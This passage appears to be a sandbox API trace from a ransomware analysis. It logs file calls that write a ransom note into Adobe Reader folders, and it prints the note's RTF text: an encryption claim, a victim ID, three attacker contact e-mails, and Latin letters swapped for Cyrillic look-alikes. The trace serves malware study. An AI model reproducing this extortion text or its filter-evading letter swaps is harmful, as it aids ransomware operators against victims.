s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n\x0f\x05\x0e\x8d\x1d¡øý\x03ø×=\n?\x06û\x1d÷A÷C÷+\x05Ø\\\x1dûN1\x03\x09", lpUsedDefaultChar=0x0) returned 14086 [0041.913] WriteFile (in: hFile=0x168, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0041.914] CloseHandle (hObject=0x168) returned 1 [0041.914] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\services\\!bwng_info!.rtf")) returned 0xffffffff [0041.914] GetLastError () returned 0x2 [0041.914] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\services\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0042.317] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 